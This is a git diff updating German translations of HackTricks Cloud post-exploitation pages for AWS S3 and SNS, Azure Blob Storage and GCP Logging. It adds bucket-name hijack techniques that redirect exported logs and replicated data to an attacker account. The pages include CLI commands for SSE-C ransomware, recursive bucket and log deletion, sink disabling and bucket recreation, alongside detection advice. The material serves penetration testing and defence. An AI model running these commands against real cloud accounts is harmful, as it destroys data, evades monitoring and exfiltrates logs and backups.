diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
index d51289fb3..e2a41cf30 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
@@ -10,40 +10,41 @@ Für weitere Informationen siehe:
 ../../aws-services/aws-s3-athena-and-glacier-enum.md
 {{#endref}}
 
-### Sensible Informationen
+### Sensitive Information
 
-Manchmal kannst du lesbare, sensible Informationen in den Buckets finden. Zum Beispiel terraform state secrets.
+Manchmal wirst du sensitive Informationen in lesbaren Buckets finden. Zum Beispiel terraform state secrets.
 
 ### Pivoting
 
-Verschiedene Plattformen könnten S3 nutzen, um sensible Assets zu speichern. Zum Beispiel könnte **airflow** dort **DAGs** **code** ablegen, oder **web pages** könnten direkt von S3 ausgeliefert werden. Ein Angreifer mit Schreibrechten könnte den **code** im Bucket **modify the code**, um zu anderen Plattformen zu **pivot**, oder durch Änderungen an JS-Dateien **takeover accounts** durchführen.
+Verschiedene Plattformen könnten S3 nutzen, um sensitive Assets zu speichern.\
+Zum Beispiel könnte **airflow** dort **DAGs**-**Code** speichern, oder **web pages** könnten direkt aus S3 ausgeliefert werden. Ein Angreifer mit Schreibrechten könnte den **Code** im Bucket **modifizieren**, um zu anderen Plattformen zu **pivot**en, oder **accounts takeover** betreiben, indem er JS-Dateien modifiziert.
 
 ### S3 Ransomware
 
-In diesem Szenario erstellt der **attacker creates a KMS (Key Management Service) key in their own AWS account** oder in einem anderen kompromittierten Account. Anschließend macht er diesen **key accessible to anyone in the world**, sodass jeder AWS-Benutzer, Role oder Account Objekte mit diesem Key verschlüsseln kann. Allerdings können die Objekte dann nicht entschlüsselt werden.
+In diesem Szenario erstellt der **Angreifer einen KMS (Key Management Service) Key in seinem eigenen AWS-Account** oder in einem anderen kompromittierten Account. Anschließend macht er diesen **Key für jeden auf der Welt zugänglich**, sodass jeder AWS-User, jede Rolle oder jeder Account Objekte mit diesem Key verschlüsseln kann. Allerdings können die Objekte nicht entschlüsselt werden.
 
-Der Angreifer identifiziert einen Ziel‑**S3 bucket and gains write-level access** mittels verschiedener Methoden. Das kann an einer fehlerhaften Bucket‑Konfiguration liegen, die den Bucket öffentlich zugänglich macht, oder daran, dass der Angreifer Zugriff auf die AWS‑Umgebung selbst erlangt hat. Ziel sind dabei oft Buckets mit sensiblen Daten wie PII, PHI, Logs, Backups usw.
+Der Angreifer identifiziert einen Ziel-**S3 bucket** und erhält auf verschiedene Weise **Schreibzugriff** darauf. Das kann an einer schlechten Bucket-Konfiguration liegen, die ihn öffentlich exponiert, oder daran, dass der Angreifer Zugriff auf die AWS-Umgebung selbst erlangt hat. Typischerweise zielt der Angreifer auf Buckets mit sensitive Informationen wie personenbezogene Daten (PII), geschützte Gesundheitsdaten (PHI), Logs, Backups und mehr ab.
 
-Um zu prüfen, ob ein Bucket für Ransomware geeignet ist, überprüft der Angreifer dessen Konfiguration. Dazu gehört die Kontrolle, ob **S3 Object Versioning** aktiviert ist und ob **multi-factor authentication delete (MFA delete)** aktiviert ist. Wenn Object Versioning nicht aktiviert ist, kann der Angreifer fortfahren. Wenn Object Versioning aktiviert, aber MFA delete deaktiviert ist, kann der Angreifer **Object Versioning deaktivieren**. Sind sowohl Object Versioning als auch MFA delete aktiviert, wird es für den Angreifer deutlich schwieriger, diesen Bucket zu verschlüsseln.
+Um festzustellen, ob der Bucket für Ransomware attackiert werden kann, prüft der Angreifer dessen Konfiguration. Dazu gehört die Verifizierung, ob **S3 Object Versioning** aktiviert ist und ob **multi-factor authentication delete (MFA delete)** aktiviert ist. Wenn Object Versioning nicht aktiviert ist, kann der Angreifer fortfahren. Wenn Object Versioning aktiviert ist, aber MFA delete deaktiviert ist, kann der Angreifer **Object Versioning deaktivieren**. Wenn sowohl Object Versioning als auch MFA delete aktiviert sind, wird es für den Angreifer deutlich schwieriger, genau diesen Bucket mit Ransomware zu attackieren.
 
-Mithilfe der AWS API ersetzt der Angreifer dann **replaces each object in the bucket with an encrypted copy using their KMS key**, wodurch die Daten im Bucket effektiv verschlüsselt und ohne den Key unzugänglich werden.
+Mit der AWS API **ersetzt der Angreifer jedes Objekt im Bucket durch eine verschlüsselte Kopie mit seinem KMS Key**. Dadurch werden die Daten im Bucket effektiv verschlüsselt und ohne den Key unzugänglich.
 
-Um zusätzlichen Druck aufzubauen, plant der Angreifer die Löschung des verwendeten KMS‑Keys. Das gibt dem Opfer ein 7‑tägiges Fenster, um die Daten wiederherzustellen, bevor der Key gelöscht wird und die Daten dauerhaft verloren sind.
+Um zusätzlichen Druck aufzubauen, plant der Angreifer die Löschung des bei dem Angriff verwendeten KMS Keys. Dadurch hat das Ziel ein 7-Tage-Fenster, um seine Daten wiederherzustellen, bevor der Key gelöscht wird und die Daten dauerhaft verloren gehen.
 
-Schließlich könnte der Angreifer eine finale Datei hochladen, üblicherweise mit dem Namen "ransom-note.txt", die Anweisungen enthält, wie das Opfer seine Dateien zurückbekommen soll. Diese Datei wird ungeöffnet/ohne Verschlüsselung hochgeladen, vermutlich um die Aufmerksamkeit des Opfers zu erregen und auf den Ransomware‑Angriff hinzuweisen.
+Schließlich könnte der Angreifer eine letzte Datei hochladen, meist mit dem Namen "ransom-note.txt", die Anweisungen für das Ziel enthält, wie es seine Dateien zurückerhält. Diese Datei wird unverschlüsselt hochgeladen, vermutlich um die Aufmerksamkeit des Ziels zu erregen und es auf den Ransomware-Angriff aufmerksam zu machen.
 
 #### SSE-C (Customer-Provided Key) Ransomware (Codefinger-like)
 
-Eine weitere Variante missbraucht **SSE-C** (S3 server-side encryption with **customer-provided keys**). Bei SSE-C liefert der **client provides the encryption key on every request** und **AWS does not store the key**. Das bedeutet, wenn ein Angreifer Objekte mit **their own SSE-C key** neu schreibt, werden die Daten des Opfers unlesbar, sofern das Opfer nicht den vom Angreifer kontrollierten Key bereitstellen kann.
+Eine weitere Variante ist das Ausnutzen von **SSE-C** (S3 server-side encryption mit **customer-provided keys**). Bei SSE-C stellt der **Client den Encryption Key bei jeder Anfrage bereit**, und **AWS speichert den Key nicht**. Das bedeutet, wenn ein Angreifer Objekte mit **seinem eigenen SSE-C Key** neu schreibt, werden die Daten des Opfers unlesbar, sofern das Opfer diesen vom Angreifer kontrollierten Key nicht bereitstellen kann.
 
-- **Preconditions:** Compromised AWS credentials (or any principal with the right permissions) and the ability to **rewrite objects** (e.g., `s3:PutObject` on the target keys/prefixes). This is often paired with the ability to set destructive lifecycle policies (see below), e.g. `s3:PutLifecycleConfiguration`.
+- **Preconditions:** Kompromittierte AWS credentials (oder jede Principal mit den richtigen permissions) und die Fähigkeit, **Objekte neu zu schreiben** (z. B. `s3:PutObject` auf den Ziel-Keys/-Prefixes). Dies wird oft mit der Fähigkeit kombiniert, destruktive lifecycle policies zu setzen (siehe unten), z. B. `s3:PutLifecycleConfiguration`.
 - **Attack chain:**
-1. Attacker generates a random 256-bit key (AES-256) and keeps it.
-2. Attacker **rewrites** existing objects (same object keys) using SSE-C headers so the stored object is now encrypted with the attacker key.
-3. Victim cannot download/decrypt without providing the SSE-C key (even if IAM permissions are fine).
-4. Attacker can delete the key (or simply never provide it) to make data unrecoverable.
+1. Der Angreifer erzeugt einen zufälligen 256-bit Key (AES-256) und behält ihn.
+2. Der Angreifer **schreibt** bestehende Objekte neu (gleiche object keys) unter Verwendung von SSE-C headers, sodass das gespeicherte Objekt nun mit dem Key des Angreifers verschlüsselt ist.
+3. Das Opfer kann ohne Bereitstellung des SSE-C Keys nicht herunterladen/entschlüsseln (selbst wenn die IAM permissions in Ordnung sind).
+4. Der Angreifer kann den Key löschen (oder ihn einfach nie bereitstellen), um die Daten irrecoverable zu machen.
 
-Example (conceptual) CLI usage:
+Beispiel für eine konzeptionelle CLI-Verwendung:
 ```bash
 # Upload/overwrite an object encrypted with attacker-provided SSE-C key
 aws s3 cp ./file s3://<BUCKET>/<KEY> \
@@ -55,25 +56,25 @@ aws s3 cp s3://<BUCKET>/<KEY> ./file \
 --sse-c AES256 \
 --sse-c-key <BASE64_32_BYTES>
 ```
-##### Druck erhöhen: Lifecycle "Timer"-Missbrauch
+##### Adding Pressure: Lifecycle "Timer" Abuse
 
-Um Wiederherstellungsoptionen (wie alte Versionen) zu entfernen, können Angreifer SSE-C-Rewrites mit **Lifecycle-Regeln** koppeln, die Objekte nach kurzer Zeit verfallen lassen und/oder noncurrent versions löschen:
+Um Wiederherstellungsoptionen zu entfernen (wie alte Versionen), können Angreifer SSE-C rewrites mit **lifecycle rules** kombinieren, die Objekte und/oder nicht aktuelle Versionen nach kurzer Zeit ablaufen lassen und löschen:
 
-- `s3:PutLifecycleConfiguration` auf dem Bucket erlaubt einem Angreifer, Löschungen zu planen, ohne für jedes Objekt/jede Version explizite Delete-Operationen auszuführen.
-- Dies ist besonders wirkungsvoll, wenn **versioning is enabled**, weil dadurch die „vorherige funktionsfähige Version“ entfernt werden kann, die sonst eine Wiederherstellung ermöglichen würde.
+- `s3:PutLifecycleConfiguration` auf dem bucket erlaubt es einem Angreifer, Löschungen zu planen, ohne für jedes Objekt/jede Version explizite delete operations auszuführen.
+- Das ist besonders wirksam, wenn **versioning is enabled** ist, weil dadurch die „previous good version“ entfernt werden kann, die sonst eine Wiederherstellung ermöglichen würde.
 
-##### Erkennung & Gegenmaßnahmen
+##### Detection & Mitigations
 
-- Bevorzugen Sie **SSE-KMS** (oder SSE-S3) gegenüber SSE-C, es sei denn, es gibt einen triftigen betrieblichen Grund, SSE-C zuzulassen.
-- Überwachen/Alarmieren Sie bei `PutObject`-Anfragen, die SSE-C-Header verwenden (CloudTrail data events für S3).
-- Überwachen/Alarmieren Sie bei unerwarteten `PutBucketLifecycleConfiguration` (Lifecycle-Änderungen).
-- Überwachen/Alarmieren Sie bei plötzlichen Anstiegen an Überschreib-Aktivitäten (gleiche Keys werden schnell aktualisiert) sowie bei Delete-Marker-/Versionslöschungen.
-- Beschränken Sie risikoreiche Berechtigungen: Limitieren Sie `s3:PutObject` auf notwendige Präfixe; schränken Sie `s3:PutLifecycleConfiguration` und `s3:PutBucketVersioning` stark ein; erwägen Sie die Erzwingung von MFA für sensible Admin-Aktionen (falls anwendbar) und verwenden Sie separate Admin-Rollen mit Genehmigungen.
-- Wiederherstellungsstrategie: Verwenden Sie **versioning**, **backups** und unveränderliche/offline-Kopien (S3 replication in ein geschütztes Konto, Backup-Vaults, etc.); schützen Sie noncurrent versions vor aggressiven Löschungen und sichern Sie Lifecycle-Änderungen mit SCPs / Guardrails.
+- Bevorzuge **SSE-KMS** (oder SSE-S3) gegenüber SSE-C, außer es gibt einen starken operativen Grund, SSE-C zu erlauben.
+- Überwache/erteile Alerts bei `PutObject`-Requests mit SSE-C-Headern (CloudTrail data events für S3).
+- Überwache/erteile Alerts bei unerwartetem `PutBucketLifecycleConfiguration` (lifecycle changes).
+- Überwache/erteile Alerts bei plötzlichen Spitzen in overwrite activity (gleiche Keys schnell aktualisiert) und delete-marker/version deletions.
+- Beschränke high-risk permissions: Begrenze `s3:PutObject` auf notwendige prefixes; schränke `s3:PutLifecycleConfiguration` und `s3:PutBucketVersioning` stark ein; erwäge, MFA für sensible admin actions zu verlangen (wo anwendbar) und separate admin roles mit approvals zu verwenden.
+- Recovery posture: Verwende **versioning**, **backups** und immutable/offline copies (S3 replication zu einem geschützten account, backup vaults usw.); schütze noncurrent versions vor aggressiver Löschung und sichere lifecycle changes mit SCPs / guardrails ab.
 
 ### `s3:RestoreObject`
 
-Ein Angreifer mit der Berechtigung `s3:RestoreObject` kann Objekte reaktivieren, die in Glacier oder Deep Archive archiviert wurden, und sie so vorübergehend zugänglich machen. Dies ermöglicht die Wiederherstellung und Exfiltration historisch archivierter Daten (Backups, Snapshots, Logs, Zertifikate, alte Secrets), die normalerweise nicht erreichbar wären. Kombiniert der Angreifer diese Berechtigung mit Lese-Berechtigungen (z. B. `s3:GetObject`), kann er vollständige Kopien sensibler Daten erlangen.
+Ein Angreifer mit der Berechtigung s3:RestoreObject kann in Glacier oder Deep Archive archivierte Objekte reaktivieren und sie dadurch vorübergehend zugänglich machen. Das ermöglicht die Wiederherstellung und exfiltration historisch archivierter Daten (backups, snapshots, logs, certifications, old secrets), die sonst unerreichbar wären. Wenn der Angreifer diese Berechtigung mit Leserechten kombiniert (z. B. s3:GetObject), kann er vollständige Kopien sensibler Daten erhalten.
 ```bash
 aws s3api restore-object \
 --bucket <BUCKET_NAME> \
@@ -85,7 +86,7 @@ aws s3api restore-object \
 ```
 ### `s3:Delete*`
 
-Ein Angreifer mit der Berechtigung s3:Delete* kann Objekte, Versionen und ganze Buckets löschen, Backups stören und unmittelbaren sowie irreversiblen Datenverlust verursachen, Beweise vernichten und Backup- oder Wiederherstellungsartefakte kompromittieren.
+Ein Angreifer mit der Berechtigung s3:Delete* kann Objekte, Versionen und ganze Buckets löschen, Backups stören und sofortigen sowie irreversiblen Datenverlust, die Zerstörung von Beweismitteln und die Kompromittierung von Backup- oder Recovery-Artefakten verursachen.
 ```bash
 # Delete an object from a bucket
 aws s3api delete-object \
@@ -102,6 +103,34 @@ aws s3api delete-object \
 aws s3api delete-bucket \
 --bucket <BUCKET_NAME>
 ```
-**Für weitere Informationen** [**siehe die Originalforschung**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+### Global bucket name takeover of autonomous writers - `s3:DeleteBucket`
+
+S3-Bucket-Namen sind global eindeutig. Wenn ein Opferkonto automatisierte Writer hat, die weiterhin Daten an `arn:aws:s3:::<bucket-name>` liefern, und ein Angreifer dieses Bucket leeren/löschen kann, kann der Angreifer denselben Bucket-Namen in einem vom Angreifer kontrollierten Konto neu erstellen und künftige Deliveries empfangen, ohne die Konfiguration des Upstream-Services zu ändern.
+
+Gute Ziele zur Prüfung sind S3-Replication-Targets, Kinesis Data Firehose Delivery Streams, CloudWatch Logs/SNS/WAF Delivery-Chains, die in S3 landen, sowie benutzerdefinierte Backup- oder Export-Jobs.
+```bash
+# Review S3 replication destinations on source buckets
+aws s3api get-bucket-replication --bucket <SOURCE_BUCKET>
+
+# Review Firehose S3 destinations
+aws firehose describe-delivery-stream \
+--delivery-stream-name <DELIVERY_STREAM_NAME>
+
+# Empty and delete the target bucket, if permitted
+aws s3 rm s3://<BUCKET_NAME> --recursive
+aws s3api delete-bucket --bucket <BUCKET_NAME>
+
+# Recreate the same globally-unique name in the attacker account
+aws s3 mb s3://<BUCKET_NAME> --region <REGION>
+```
+Die ersetzte Bucket-Policy muss es dem upstream writer erlauben, Objekte zu put. Der genaue Principal hängt vom Service ab: zum Beispiel eine IAM replication role, eine Firehose delivery role oder ein service principal, eingeschränkt mit `aws:SourceArn` / `aws:SourceAccount`.
+
+**Potenzielle Auswirkung:** stilles exfiltrieren zukünftiger replizierter Objekte, Logs, Telemetry, Backups und pipeline artifacts in ein von einem Angreifer kontrolliertes AWS-Konto.
+
+**Detection & Mitigation:** auf das Löschen von Buckets alarmieren, auf die in replication rules oder delivery streams verwiesen wird, auf `NoSuchBucket` delivery failures achten, gefolgt von Bucket recreation, `s3:DeleteBucket` für export destinations einschränken und cross-account deliveries mit strikten Bucket-Policies und Ownership-Erwartungen absichern.
+
+
+
+**Für mehr Infos** [**sieh dir die originale research an**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
index d21c88b7a..7172f5c77 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
@@ -1,15 +1,15 @@
-# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
+# AWS - SNS zu Kinesis Firehose Exfiltration (Fanout to S3)
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-Missbrauche das Firehose-Subscription-Protokoll, um einen vom Angreifer kontrollierten Kinesis Data Firehose delivery stream an einem Opfer-SNS-Standard-Topic zu registrieren. Sobald die Subscription eingerichtet ist und die erforderliche IAM-Rolle `sns.amazonaws.com` vertraut, wird jede zukünftige Benachrichtigung dauerhaft in den S3-Bucket des Angreifers geschrieben — mit minimalem Lärm.
+Missbrauche das Firehose-Subscription-Protokoll, um einen vom Angreifer kontrollierten Kinesis Data Firehose delivery stream auf einem Opfer-SNS-standard topic zu registrieren. Sobald die Subscription eingerichtet ist und die erforderliche IAM role `sns.amazonaws.com` vertraut, wird jede zukünftige Notification dauerhaft in den S3 bucket des Angreifers geschrieben, mit minimalem noise.
 
 ## Anforderungen
-- Berechtigungen im Angreiferkonto, um einen S3-Bucket, einen Firehose delivery stream und die von Firehose verwendete IAM-Rolle zu erstellen (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.).
-- Die Möglichkeit, sich mit `sns:Subscribe` am Opfer-Topic zu abonnieren (und optional `sns:SetSubscriptionAttributes`, falls die Subscription-Rollen-ARN nach der Erstellung angegeben wird).
-- Eine Topic-Policy, die dem Angreifer-Principal das Abonnieren erlaubt (oder der Angreifer bereits im selben Account agiert).
+- Berechtigungen im Angreifer-Konto, um einen S3 bucket, einen Firehose delivery stream und die von Firehose verwendete IAM role zu erstellen (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.).
+- Die Fähigkeit, `sns:Subscribe` auf dem Opfer-topic auszuführen (und optional `sns:SetSubscriptionAttributes`, falls die subscription role ARN nach der Erstellung bereitgestellt wird).
+- Eine topic policy, die dem Angreifer-principal erlaubt, sich zu subscriben (oder der Angreifer agiert bereits im selben Konto).
 
-## Angriffsschritte (Beispiel im selben Account)
+## Angriffsschritte (same-account example)
 ```bash
 REGION=us-east-1
 ACC_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -67,10 +67,24 @@ aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --regio
 sleep 90
 aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
 ```
-## Bereinigung
-- Lösche die SNS-Subscription, den Firehose-Delivery-Stream, temporäre IAM-Rollen/-Policies und den S3-Bucket des Angreifers.
+## Cleanup
+- Lösche das SNS subscription, den Firehose delivery stream, temporäre IAM roles/policies und den attacker S3 bucket.
 
-## Auswirkung
-**Mögliche Auswirkung**: Kontinuierliche, dauerhafte exfiltration jeder Nachricht, die an das gezielte SNS-Topic veröffentlicht wird, in vom Angreifer kontrollierten Speicher mit minimaler operativer Spur.
+## Impact
+**Potential Impact**: Kontinuierliche, dauerhafte exfiltration aller Nachrichten, die an das zielgerichtete SNS topic published werden, in attacker-controlled storage bei minimalem operational footprint.
+
+## Related Bucket-Name Hijack Variant
+
+Wenn eine bestehende SNS -> Firehose -> S3 chain bereits in einen bucket schreibt und der attacker diesen bucket löschen kann, kann er möglicherweise denselben weltweit eindeutigen S3 bucket name in einem attacker-controlled account neu erstellen. Zukünftige Firehose deliveries können dann in dem replacement bucket landen, ohne die SNS subscription oder die Firehose stream configuration zu ändern.
+```bash
+# Identify the Firehose S3 destination
+aws firehose describe-delivery-stream \
+--delivery-stream-name <DELIVERY_STREAM_NAME> \
+--query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription'
+
+# After deleting the original bucket, recreate the same name in the attacker account
+aws s3 mb s3://<BUCKET_NAME> --region <REGION>
+```
+Grant the Firehose delivery role access to the replacement bucket, wenn die role cross-account schreiben kann. Überwache bucket deletion auf Firehose destinations, delivery failures und unerwartete Änderungen des bucket ownership.
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
index b78623ee5..3ebdbc2b8 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## Storage Privesc
 
-Für weitere Informationen über Storage siehe:
+Für weitere Informationen über storage siehe:
 
 {{#ref}}
 ../az-services/az-storage.md
@@ -12,7 +12,7 @@ Für weitere Informationen über Storage siehe:
 
 ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
 
-Ein Principal mit dieser Berechtigung kann die Blobs (Dateien) innerhalb eines Containers **auflisten** und die Dateien **herunterladen**, die möglicherweise **sensible Informationen** enthalten.
+Ein Principal mit dieser Berechtigung kann die Blobs (Dateien) innerhalb eines Containers **auflisten** und die Dateien **herunterladen**, die **sensitive information** enthalten könnten.
 ```bash
 # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
 az storage blob list \
@@ -26,7 +26,7 @@ az storage blob download \
 ```
 ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
 
-Ein Principal mit dieser Berechtigung wird in der Lage sein, **Dateien in Containern zu schreiben und zu überschreiben**, was ihm möglicherweise ermöglicht, Schaden anzurichten oder sogar Privilegien zu eskalieren (z. B. einige im Blob gespeicherte Codes überschreiben):
+Ein Principal mit dieser Berechtigung kann **Dateien in Containern schreiben und überschreiben**, was ihm möglicherweise erlaubt, Schaden zu verursachen oder sogar Berechtigungen zu eskalieren (z. B. etwas Code überschreiben, der in einem blob gespeichert ist):
 ```bash
 # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
 az storage blob upload \
@@ -36,6 +36,35 @@ az storage blob upload \
 ```
 ### \*/delete
 
-Dies würde es ermöglichen, Objekte im Speicheraccount zu löschen, was **einige Dienste unterbrechen** oder den Kunden **wertvolle Informationen verlieren** lassen könnte.
+Dies würde das Löschen von Objekten innerhalb des storage account ermöglichen, was einige Dienste **unterbrechen** oder dazu führen könnte, dass der Client **wertvolle Informationen verliert**.
+
+### Storage account name takeover von diagnostic exports
+
+Azure Storage account names sind global eindeutig. Einige autonome exports, wie Azure Monitor diagnostic settings, schreiben weiterhin Logs oder Metriken in einen konfigurierten storage account. Wenn ein Angreifer diesen storage account löschen und denselben Namen in einem vom Angreifer kontrollierten subscription innerhalb desselben tenant neu erstellen kann, können zukünftige exportierte telemetry an den Ersatzaccount zugestellt werden, ohne das diagnostic setting zu ändern.
+
+Das ist besonders interessant, wenn der Angreifer destruktive Berechtigungen wie `Microsoft.Storage/storageAccounts/delete` hat, aber die überwachte Ressource oder deren diagnostic settings nicht aktualisieren kann.
+
+Dafür muss der storage account name zur erneuten Verwendung freigegeben werden. In der Praxis können Azure storage account soft delete / recovery protections die unmittelbare Wiederverwendung verzögern oder verhindern, insbesondere zwischen tenants.
+```bash
+# Find diagnostic settings that write to a storage account
+az monitor diagnostic-settings list \
+--resource <RESOURCE_ID> \
+--query '[].{name:name,storageAccountId:storageAccountId}'
+
+# Delete the storage account, if permitted
+az storage account delete \
+--name <STORAGE_ACCOUNT_NAME> \
+--resource-group <RESOURCE_GROUP>
+
+# Recreate the same globally-unique storage account name
+az storage account create \
+--name <STORAGE_ACCOUNT_NAME> \
+--resource-group <ATTACKER_RESOURCE_GROUP> \
+--location <LOCATION> \
+--sku Standard_LRS
+```
+**Potenzielle Auswirkungen:** langfristige Exfiltration zukünftiger Logs, Metriken, Audit-Daten und Diagnostic-Archive in ein vom Angreifer kontrolliertes Subscription.
+
+**Erkennung & Mitigation:** auf das Löschen von Storage Accounts alarmieren, auf die durch diagnostic settings referenziert werden, diagnostic settings mit `storageAccountId` inventarisieren, nach dangling destinations überwachen und destruktive Berechtigungen auf logging/archive Storage Accounts streng einschränken.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
index de4d90791..48fdf6f85 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Grundlegende Informationen
+## Basic Information
 
 Für weitere Informationen siehe:
 
@@ -10,7 +10,7 @@ Für weitere Informationen siehe:
 ../gcp-services/gcp-logging-enum.md
 {{#endref}}
 
-Für andere Möglichkeiten, das Monitoring zu stören, siehe:
+Für andere Möglichkeiten, Monitoring zu stören, siehe:
 
 {{#ref}}
 gcp-monitoring-post-exploitation.md
@@ -18,17 +18,17 @@ gcp-monitoring-post-exploitation.md
 
 ### Default Logging
 
-**Standardmäßig wirst du nicht allein dadurch entdeckt, dass du nur Lesezugriffe ausführst. Für mehr Informationen siehe den Abschnitt Logging Enum.**
+**Standardmäßig wirst du nicht erwischt, nur weil du read actions ausführst. Für weitere Informationen siehe den Abschnitt Logging Enum.**
 
-### Ausgenommenen Principal hinzufügen
+### Add Excepted Principal
 
-In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) und [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) ist es möglich, Principals hinzuzufügen, damit keine Logs generiert werden. Ein Angreifer könnte dies missbrauchen, um nicht entdeckt zu werden.
+In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) und [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) ist es möglich, principals hinzuzufügen, die keine Logs erzeugen. Ein Angreifer könnte dies missbrauchen, um nicht erwischt zu werden.
 
-### Logs lesen - `logging.logEntries.list`
+### Read logs - `logging.logEntries.list`
 
 <details>
 
-<summary>Logeinträge lesen</summary>
+<summary>Read log entries</summary>
 ```bash
 # Read logs
 gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
@@ -44,18 +44,18 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
 
 <details>
 
-<summary>Logeinträge löschen</summary>
+<summary>Log-Einträge löschen</summary>
 ```bash
 # Delete all entries from a log in the _Default log bucket - logging.logs.delete
 gcloud logging logs delete <log-name>
 ```
 </details>
 
-### Protokolle schreiben - `logging.logEntries.create`
+### Schreibe Logs - `logging.logEntries.create`
 
 <details>
 
-<summary>Protokolleintrag schreiben</summary>
+<summary>Log-Eintrag schreiben</summary>
 ```bash
 # Write a log entry to try to disrupt some system
 gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
@@ -66,7 +66,7 @@ gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
 
 <details>
 
-<summary>Log bucket retention aktualisieren</summary>
+<summary>Log-Bucket-Aufbewahrung aktualisieren</summary>
 ```bash
 # Set retention period to 1 day (_Required has a fixed one of 400days)
 
@@ -100,7 +100,7 @@ gcloud logging links delete <link-id> --bucket <bucket> --location <location>
 
 <details>
 
-<summary>Logging-Ansicht löschen</summary>
+<summary>Logging-View löschen</summary>
 ```bash
 # Delete a logging view to remove access to anyone using it
 gcloud logging views delete <view-id> --bucket=<bucket> --location=global
@@ -111,7 +111,7 @@ gcloud logging views delete <view-id> --bucket=<bucket> --location=global
 
 <details>
 
-<summary>Logging-Ansicht aktualisieren, um Daten zu verbergen</summary>
+<summary>Logging-View aktualisieren, um Daten zu verbergen</summary>
 ```bash
 # Update a logging view to hide data
 gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
@@ -122,7 +122,7 @@ gcloud logging views update <view-id> --log-filter="resource.type=gce_instance"
 
 <details>
 
-<summary>Log-based metrics aktualisieren</summary>
+<summary>Log-basierte Metriken aktualisieren</summary>
 ```bash
 # Update log based metrics - logging.logMetrics.update
 gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
@@ -155,7 +155,7 @@ gcloud logging sinks delete <sink-name>
 
 <details>
 
-<summary>log sink aktualisieren/stören</summary>
+<summary>Log-Sink aktualisieren/stören</summary>
 ```bash
 # Disable sink - logging.sinks.update
 gcloud logging sinks update <sink-name> --disabled
@@ -178,4 +178,32 @@ gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
 ```
 </details>
 
+### Cloud Logging sink bucket-name hijack - `storage.buckets.delete`
+
+Cloud Logging sinks können Logs kontinuierlich an ein Cloud Storage-Ziel wie `storage.googleapis.com/<bucket-name>` oder `storage.googleapis.com/<bucket-name>/<prefix>` exportieren. Wenn ein Angreifer das Ziel-Bucket löschen kann, aber den sink nicht aktualisieren kann, könnte er zukünftige exportierte Logs trotzdem umleiten, indem er denselben global eindeutigen Bucket-Namen in einem von ihm kontrollierten Projekt neu erstellt.
+
+Das ist nützlich, wenn der kompromittierte Principal destruktive Storage-Berechtigungen wie `storage.buckets.delete`, `storage.objects.delete` und `storage.objects.list` hat, aber kein `logging.sinks.update`.
+```bash
+# Find sinks that export to Cloud Storage
+gcloud logging sinks list --project <PROJECT_ID> \
+--format='table(name,destination,disabled,writerIdentity)'
+
+# Empty and delete the destination bucket, if permitted
+gcloud storage rm -r gs://<BUCKET_NAME>
+
+# Recreate the same bucket name in the attacker-controlled project
+gcloud storage buckets create gs://<BUCKET_NAME> \
